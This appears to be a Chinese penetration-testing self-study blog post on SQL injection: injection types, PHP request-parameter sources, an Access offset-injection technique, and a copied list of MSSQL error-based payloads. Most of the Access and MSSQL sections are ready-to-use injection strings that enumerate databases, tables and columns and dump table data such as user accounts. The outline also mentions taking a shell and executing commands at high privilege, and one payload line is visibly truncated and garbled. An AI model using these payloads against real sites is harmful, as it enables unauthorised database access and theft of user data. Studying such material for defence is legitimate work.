第十四天(注入类型及提交方法)

       注入类型

  1. 数字型(int)
  2. 字符型(char)

可能出现的干扰: ‘  “  %  )  }

MYSQL注释符:#   --+ 

  1. 搜索型(SQL语句:like)

%  _  语句

  1. json型

请求方法(待补全各种语言的接收方式)

  1. GET

只跟在网址后面,即使提交的方法是POST,也能传参数

PHP:$get=$_GET[‘x’]

  1. POST

PHP:$post=$_POST[‘x’]

  1. COOKIE

PHP:$cookie=$_COOKIE[‘x’]

  1. REQUEST(GET、POST、COOKIE都能用该方法接受数据)

判断方式:三种方法都能返回相同页面时,大致可以判断是REQUEST

PHP:$request=$_REQUEST[‘x’]

  1. HTTP头(带系统参数)

PHP:$server=$_SERVER[‘HTTP_USER_AGENT’]

        $_SERVER函数:用于获取操作系统、服务器等一些信息

  1. ……

json获取数据与其他不同

       json方式:{$data} 其他方式:$data

json注入

       格式:context = {‘x’:‘123’,‘y’:‘abc’}

json注入是否需要考虑闭合json格式中的双引号问题:

   json格式中不需要闭合(考虑可能是栈),闭合问题与SQL语句有关

存在注入, 字符型则考虑闭合,注释去除后续语句干扰

POST存在过滤、COOKIE没有

第十五天(各种数据库注入)

      数据库注入大致流程

  1. 明确注入数据库类型、权限
  2. 明确提交方法、参数类型等
  3. 版本高低
    1. 明确数据库记录信息系统表
    2. 依次库、表、列、值注入查询
    3. 找后台,登录,获取shell(可能会失败)
  4. 高权限
    1. 文件读写
    2. 命令执行
    3. 注册表读取
    4. ……

MongoDB、postgresql、oracle、Access(少见)、sqlite、sybase、mssql等

       Access虽然每个网站数据库互相独立,但同样存在跨库攻击,前提是连接另一个数据库

       判断数据库注入点的用户权限,与连接数据库的配置文件中的根用户有关

nosqlAttack 可以用于MongoDB,sqlmap不行

       Access注入流程:

              sqlmap用工具对url进行扫描(不一定准确)

              用工具字典爆破出列名

猜列名

       当Access暴力猜解失败时怎么办:

  1. Access偏移注入:解决列名无法获取的情况
    1. 猜解数据库中的所有表的字段总和个数,

order by 23报错,则为22个

    1. 爆出显位

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin

….

    1. 判断表内字段个数

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, * from admin

(由此猜解出admin中有6个字段)

    1. 爆出列名数据

已知现在*代表6个字段数,以6个为一个单位往前减

一级偏移

union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)

如果不行,可以二级偏移

union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

a.id b.id c.id 一个占6位

  1. 查看登录框源代码的表单值或观察URL特征等也可以针对表或列无法获取的情况

MongoDB

        键值型,类json

       MSSql注入流程:(搬运https://wwwblogs/xishaonian/p/6173644.html)

①判断数据库类型

and exists (select * from sysobjects)--返回正常为mssql(也名sql server)

and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈

②判断数据库版本

and 1=@@version--这个语句要在有回显的模式下才可以哦

and substring((select @@version),22,4)='2008'--适用于无回显模式,后面的2008就是数据库版本,返回正常就是2008的复制代码第一条语句执行效果图(类似):第二条语句执行效果图:(如果是2008的话就返回正常)

③获取所有数据库的个数 (一下3条语句可供选择使用)  

1.and 1=(select quotename(count(name)) from master..sysdatabases)--

2.and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --

3.and 1=(select str(coun、    and 1=(select quotename(count(name)) from master..sysdatabases where dbid>5)--

and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) –

and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --

说明:dbid从1-4的数据库一般为系统数据库.

⑤获取数据库 (该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)  

and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--

and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--

⑥获取当前数据库 

and db_name()>0

and 1=(select db_name())—

⑦获取当前数据库中的表(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于mssql2005及以上版本)】

and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--

and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--复制代码测试效果图:得到 3个敏感的表:Whir_Sec_Users/Whir_Mem_Member/Whir_Mem_MemberGroup

⑧获得表里的列

一次爆指定表的所有列(只限于mssql2005及以上版本):

and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

效果图:既然有账户信息,我就不管是不是管理员的的了,我帖子的目的不是为了得到管理员的信息,只是为了演示可以通过这个方法来获取相关信息。

⑨获取指定数据库中的表的列的数据库

逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):

    and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--

一次性爆N条所有字段的数据(只限于mssql2005及以上版本):

and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--复制代码第一条语句:and 1=(select top 1 * from 指定数据库..指定表名 FOR XML PATH(''))--测试效果图:----------------------------------加上where条件筛选结果出来会更加好,如:where and name like '%user%'  就会筛选出含有user关键词的出来。用在筛选表段时很不错。      

更多推荐

渗透自学(四)SQL注入(二)